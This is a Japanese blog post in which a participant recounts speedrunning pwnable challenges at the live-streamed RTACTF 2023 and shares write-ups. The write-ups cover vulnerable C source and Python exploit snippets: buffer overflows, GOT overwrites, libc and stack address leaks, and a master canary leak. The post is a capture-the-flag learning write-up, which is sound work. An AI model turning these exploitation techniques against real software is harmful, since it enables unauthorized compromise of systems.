RTACTF 2で走者として走りました🏃

実は3日前まで走ることを知らなかった

なぜか走者として走ることが決まっていた・o・

RTA CTF

RTA CTFは、~30分程度で解くことが可能な比較的簡単な問題を、どれだけ高速に問題を解くことができるかを競うものです。 特に、競技者は、リアルタイムで解く様子の画面配信を行い、解説者はそれについての解説を行います。 大会の様子はyoutubeアーカイブから見ることができるのでぜひチェックしてみてください。

www.youtube.com

僕は、pwnableの問題の走者として参加しました。もはや(CTFやってなさすぎる)僕より適任者いると思うので多分今回でクビになると思います。

また、以下ネタバレを含みます が、もしネタバレなしで挑戦したい場合数日中はサーバーが動いていると思うので、ぜひ挑戦してみてください!(そんな時間かからないと思うので暇つぶしにとても良いと思う)

RTACTF 2023

RTA CTFの走者のつらさ

沼るとそれが全世界に公開されて、つらい。

正直今これをやったら本当にガチで配信を冷やしてしまうと思っていたので、正直拒否しようかとすら思った。

まあ耐えたのか耐えてないのかは知らないですが、とりあえず一定程度走ったのでいかにwriteupをまとめます。

writeup

before-write

BOF & win関数(shellを実行してくれる関数)あり、PIE & canaryなしなので、単にリターンアドレスを書き換えれば良い。

payload = p64(0x4011b6) * 20
recvuntil("value")
sendline(payload)
interactive()

rta1.py · GitHub

ファイルのダウンロードからの展開や解析にやや手間取ったがほぼつっかえずに解くことができた。

✔129.69 sec

write

bssにある配列arrayの配列外参照による書き込みができる。 Partial RELROだが、一瞬何を書き換えるねんとなる。 以下のプログラムをよく見ると

ssize_t array[10];

/* 省略 */

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

getvalでBOFが存在するので、オーバーフローをしながら数字を入力させて、_stackなんとかを呼び出させつつそいつのGoTを書き換えて、winを呼び出せば良いとわかる

問題はここからで、沼ったポイントとして、事前に用意しておいたショートカット用スクリプトのテストをちゃんとしていなかったら、そこでややバグらせが発生しており、時間をつぶしてしまった。負け。

win = 0x4011b6

idx = 0x60 // 8
idx = -idx
print(idx)
rs(str(idx).encode("ascii") )
wait_for_attach()
rs(str(win).encode("ascii") + p64(0) + b" " * 1000)
interactive()

rta1.py · GitHub

想定時間内にとき終わらなかった🥹

❌902.50 sec

read-write

3回書き込みか読み込みができる。Full Relroだが、no PIE。

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

第一感としてはlibcのアドレスはGOTから雑にリークできるので、最終的にはlibcのGOT書き換えあたりをしたいなあという感情になる。ただlibcのGOT周りは使われている関数が弱そうなあたりとこういうのしていると沼りそうだなあというあたりで、ちょっと困っていたが、冷静に考えるとlibcアドレスリークからのenvironによるstackアドレスリークで、リターンアドレスを書き換えてのRCEで良さそうとなる。

array_addr = 0x404040
win_addr = 0x4011d6

idx1 = str(-0x80 // 8)

rs(str(1), r="> ")
rs(str(idx1).encode("ascii") )
libc_addr = int(recvline())
environ = libc_addr + 0x10c7e0

print(hex(environ))
idx2 = (environ - array_addr) // 8
print("idx2: ", idx2)
rs("1", r="> ")
rs(str(idx2).encode("ascii") )
stack_addr = int(recvline())
print(hex(stack_addr))

ret_addr = stack_addr - 0x120
print(hex(ret_addr))

idx2 = (ret_addr - array_addr) // 8
print("idx2: ", idx2)
rs("2", r="> ")
rs(str(idx2).encode("ascii") )
wait_for_attach()
rs(str(win_addr))
print(hex(stack_addr))

フルのソルバー: rta1.py · GitHub

✔802.53 seconds

only-read

タイトルが示唆するように、無限回試行ができるようになった代わりに、write機能が消される。ひどい。

int main() {
  size_t array[10] = {};

  for (;;) {
    ssize_t index = getval("index: ");
    if (index >= 10) break;
    printval(array[index]);
  }

  return 0;
}

しかも地味になぜかarrayがstackに移されている。その上でarrayの+方向へのover readはできなくなっている。

ここで、まだgetvalにBoFが残されていることを思い出す。

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

checksecを見直すとcanaryがあるため雑なBoFはできないが、書き込める系脆弱性がこのBoFしかなさそうなことを考えると、なんとかcanaryをリークできないかという気持ちになる。 正直最初の感覚としてはstackの上の方に落ちてへんかなと思ったが、ちゃんとこれはマクロを通してgetvalが実装されていることもあり、stackの上の方にはcanaryは落ちていなかった。

そうすると、できそうなことは気合のmaster canary readで、これは(実際あとの方で悩まされることになるが)offset周り等でちょっと面倒になりそうで嫌だなとは思ったものの他に何も思いつかなかったのでこれで突撃した。

あとは、基本的にstackの上に落ちているいい感じのポインタ探しをすると、master canaryのポインターをなんとかリークできる。

rs(str(-0xe40 // 8))
nazo_addr = int(recvline())
print("nazo_addr", hex(nazo_addr))
#canary_addr = nazo_addr - 0x2389d8
canary_addr = nazo_addr - 0x2389d8 + 0x1000 * diff
print("canary_addr", hex(canary_addr))

stack_addr = rs(str(-2))
stack_addr = int(recvline())
print("stack", hex(stack_addr))

array_addr = stack_addr - 0x5f
print("array_addr", hex(array_addr))

idx = (canary_addr - array_addr) // 8
rs(str(idx))
canary = int(recvline())
print("canary: ", hex(canary))

あとはBoFからのwin関数呼ぶだけかと思いきや、winがない。まあいうてROPするだけでは、となったが、ここでガチの沼にはまる。 ライブ的には、 https://www.youtube.com/live/c8Q5yB3w5Og?feature=share&t=4629

いつもの、実家のような安心感という気持ちで、rp++(をラップしたスクリプト)を叩くと、、、

libcにpop rdi; retがない!「そんなわけある?」「いやでも最近CTFしてないし世情に疎いな」「現代のlibcはこんな謎mitigationをしていてもおかしくないかもしれない」などの迷思考にハマり、ROPチェーンが雑に組めないことに絶望する。

そのままゲーム終了。終了後、「普通にpop rdi; retありますよ笑」と言われ、rp++がバグっていたことが判明する *1

github.com

そんなことある? 感動しました

--uniqueを無くしたらいっぱい表示されました

最後、微妙にサーバー上のアドレスオフセットをguessする動作が必要になったが、基本的にはそのまま解ける

rta1.py · GitHub

❌5317.45 seconds

感想

本当に体力の消費がやばい。

スコアボードにフラグを登録するときに誰もいなかったときは気持ちがいい。(配信用にDiscordの隔離部屋につないでいるのだが)競争相手が隔離部屋からいなくなると焦りがやばい。

あと普通によくわからないバグが起きたとき(例えば上の自分のテンプレートに謎バグがあったときなど)、割とある種のパニックみたいになる。普段なら腰を据えて、さあコーヒーでも飲んでデバッグするか、となるところが、それを許されない状況なので。

なかなか過酷なイベントだが、振り返ってみると走者としては楽しかったです。運営おつかれさまでした & ありがとうございました。

*1:pwnyaaさんが教えてくれた: https://twitter.com/pwnyaa/status/1638084052107563008